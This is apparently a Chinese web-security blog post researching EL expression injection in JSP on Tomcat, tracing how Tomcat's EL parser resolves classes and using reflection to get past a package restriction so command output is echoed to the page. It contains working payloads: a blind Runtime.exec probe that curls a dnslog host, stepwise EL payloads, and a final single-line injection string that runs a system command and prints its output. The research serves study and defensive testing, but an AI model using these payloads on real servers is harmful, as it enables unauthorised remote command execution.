普通EL表达式命令回显的简单研究

EL表达式多用于JSP,官方给出的El表达式的example: https://javaee.github.io/tutorial/jsf-el007.html 可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便...

EL表达式多用于JSP,官方给出的El表达式的example:
https://javaee.github.io/tutorial/jsf-el007.html

可以发现,EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便开发者能够获取到上下文变量。基础的EL表达式可参考文章:
https://www.tutorialspoint.com/jsp/jsp_expression_language.htm

下面直接进入主题,本文的环境为:
jdk8u112
Tomcat9.0.0M26

思路梳理

在EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:

${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}

可这样子只能做基本的检测和盲打,如果目标不出网或不知道网站绝对路径时,将不方便EL注入的探测。

写普通的Java代码的话,我们知道可以使用inputStream()来获取Runtime#exec的输出,然后打印出来,如下:

Runtime#exec Demo

try {
    InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
    Thread.sleep(300); //睡0.3秒等InputStream的IO,不然`availableLenth`会是0
    int availableLenth = inputStream.available();
    byte[] resByte = new byte[availableLenth];
    inputStream.read(resByte);
    String resString = new String(resByte);
    System.out.println(resString);
} catch (Exception e) {
    e.printStackTrace();
}

不过EL表达式的实现其实是由中间件(Tomcat)进行解析,然后反射调用的。所以实际上写EL表达式只能写函数调用,不能在EL表达式中写诸如 new String();int a; 这些操作。

但正常函数调用是能用的,比如本节开头执行Runtime#exec的表达式。

EL表达式中有许多隐式对象,如pageContext,可以通过这个对象保存属性,如:

此时一个想法便油然而生:

  1. 使用pageContext保存Runtime#execinputStream
  2. inputStream#read会将命令执行结果输入到一个byte[]变量中,但EL表达式不能直接创建变量。得想办法找到一个存在byte[]类型变量的对象,借用该对象的byte[]作为inputStream#read的参数
  3. 使用反射创建一个String,并将第2步的byte[]存入这个String
  4. 输出该String

经过这四个步骤,理论上应该能获取到命令执行的回显了。

保存 Runtime#execinputStream

这个步骤很简单,就一句EL表达式就能搞定,如下:

${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig").getInputStream())}

调试也可发现pageContext.attributes存入了inputStream

寻找存在byte[]的对象

一开始我是直接在pageContext中寻找有无符合的对象。确实有,找到了pagaContext.response.response.outputBuffer

可是实验之后发现不这个不太好,理由:由于我并没有分析过Tomcat源码,但猜测该变量应该是控制Response二进制输出的,如果直接让inputStream直接覆写掉这个变量,担心引发奇怪的问题。并且直接覆写上下文对象的属性感觉太粗暴了,希望能找一种对Tomcat干预最少的方式。

最后找到了**java.nio.ByteBuffer**,该类可以创建一个指定大小的byte[]。在java中的用法如下:

java.nio.ByteBuffer Demo

ByteBuffer allocate = ByteBuffer.allocate(100); #静态调用
byte[] a = allocate.array();

尝试在El表达式中使用:

java.nio.ByteBuffer EL Demo

${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}
${pageContext.setAttribute("byteArr", pageContext.getAttribute("byteBuffer").array())}

调试时发现,并没有如愿的将之存放到pageContext.attributes

猜测可能是执行java.nio.ByteBuffer.allocate(100)报错了,需要调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))},看看其是如何被解析的。也不用研究太深,简单看看问题即可。

追踪ByteBuffer.allocate报错

调试${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}。中间件对这一行的解析调用在

org.apache.jasper.runtime.PageContextImpl

PageContextImpl#proprietaryEvaluate

跟进ve.getValue(ctx);。发现在ValueExpressionImpl.node成员变量中,存放着已经简单解析过的EL表达式

ValueExpressionImpl#getValue

这个节点可以抽象表示成这样:

node
 0 - pageContext
 1 - setAttribute
 2 - 
   0 - byteBuffer
   1 - 
     0 - java
     1 - nio
     2 - ByteBuffer
     3 - allocate
     4 - 
       0 - 100

对比下我们原版EL表达式:

${pageContext.setAttribute("byteBuffer", java.nio.ByteBuffer.allocate(100))}

可以发现,Tomcat将我们的EL表达式划分成了节点的结构,按照()划分父节点子节点,按照.划分同级节点

跟进this.getNode().getValue(ctx);。在getValue()中,对node进行了迭代操作。

mps.getParameters(ctx)这一行中,getParameters()函数是解析子节点的操作,跟进。我们的目的是查找为什么java.nio.ByteBuffer.allocate(100)不生效,所以解析表达式是需要跟进调试的

AstValue#getValue

跟进到getParameters()函数。该函数作用是通过循环调用各个childgetValue()方法。如果是childNode类型,则会调用上文的AstValue#getValue形成递归,直到拿到最底层的node

不要忘记我们目标是查找java.nio.ByteBuffer.allocate(100)不生效的问题。所以我们需要在循环中步过到解析java.nio.ByteBuffer.allocate(100)时再跟进调试

AstMethodParameters#getParameters

跟进this.jjtGetChild(i).getValue(ctx),此时将会递归调用回AstValue#getValue

该方法的第一行创建了一个base。值得注意的是在while()中若basenull,就会直接return base

while()是执行 EL表达式调用方法 的代码块,感兴趣可以自己调试下。

AstValue#getValue

跟进this.children[0].getValue(ctx);中,发现又调用了一个getValue()

AstIdentifier#getValue

跟进ctx.getELResolver().getValue(ctx, null, this.image);。发现又调用了resolvers[i].getValue

JasperELResolver#getValue

跟进resolvers[i].getValue(context, base, property);。根据函数名猜测resolveClass()函数是对El表达式进行类解析。

ScopedAttributeELResolver#getValue

跟进importHandler.resolveClass(key);发现,该函数确实是对EL表达式里的字符串进行“类解析”。

首先一开始判断字符串是否在clazzes中,这个变量存放着之前解析过的类。如果同名就直接复用。

ImportHandler#resolveClass

一路跟进下去,最终发现类加载的范围只在四个包下

  • java.lang
  • javax.servlet
  • javax.servlet.http
  • javax.servlet.jsp

ImportHandler#resolveClass

java.nio.ByteBuffer.allocate(100)不生效的问题找到原因了,因为el的类加载机制并没有java.nio包,并且还不支持全类名输入。

看到这里可能小伙伴会好奇:EL解析时将字符串按.进行了分割,如果认为每一个.分割的字符串都是一个新类并以此解析类名的话,那类的方法不就无法被正常解析嘛?如下面的例子:

Runtime.getRuntime.exec("calc")

按照EL表达式的解析,这个字符串会被解析成这样:

0 - Runtime
1 - getRuntime
2 -
  null
3 - exec
4 - 
  0 - "calc"

EL解析时肯定会找不到getRuntimeexec的类的。那EL解析时是如何认为这俩是一个方法的呢?

答案在一开始的AstValue#getValue中。如下:

  • 1 - 在一开头就将第0个解析字符串,即Runtime丢去解析类(注意这里有很多重递归)
  • 23 - 循环所有其他索引从1开始的节点。并对之进行invoke()操作

这就是EL解析类及调用类方法的大致过程。

实例化ByteBuffer类的Bypass

既然不能直接使用java.nio包下的ByteBuffer。那我们用反射搓一个出来不久可了嘛?

修改Poc如下:

//执行系统命令
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c ipconfig".getInputStream())}
//停一秒,等待Runtime的缓冲区全部写入完毕
${Thread.sleep(1000)}
//读取Runtime inputStream所有的数据
${pageContext.setAttribute("inputStreamAvailable", inputStream.available())}

//通过反射实例化ByteBuffer,并设置heapByteBuffer的大小为Runtime数据的大小
${pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"))}
${pageContext.setAttribute("allocateMethod", byteBufferClass.getMethod("allocate", Integer.TYPE))}
${pageContext.setAttribute("heapByteBuffer", allocateMethod.invoke(null, inputStreamAvailable))}

成功调用,pageContext中也有对应的值。

有了合适大小的byte[]后,接下来要做的事情就很简单了:将Runtime,inputStreambyte[]传给heapByteBuffer

Poc如下:

......
${pageContext.getAttribute("inputStream").read(heapByteBuffer.array(), 0, inputStreamAvailable)}
......

接下来就是将byte[]类型的数据转换成String,以便能直接在网页上回显。常规的方法就是使用new String(byte[])来实现。

这里有几点需要注意:

  1. 由于不能直接用new,我们只能通过反射来拿到String实例
  2. 反射调用String#String时,需要指定传参类型的对象。但是似乎没有Byte[].TYPE这种东西。不过我们可以通过byteArrType里的byte[],用getClass()得到byte[]类型对象。
......
//获取byte[]对象
${pageContext.setAttribute("byteArrType", heapByteBuffer.array().getClass())}
//构造一个String
${pageContext.setAttribute("stringClass", Class.forName("java.lang.String"))}
${pageContext.setAttribute("stringConstructor", stringClass.getConstructor(byteArrType))}
${pageContext.setAttribute("stringRes", stringConstructor.newInstance(heapByteBuffer.array()))}
//回显结果
${pageContext.getAttribute("stringRes")}

压缩成一句话

${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}

  • 发表于 2021-11-18 09:38:53
  • 阅读 ( 9348 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Xiaopan233
Xiaopan233

3 篇文章

站长统计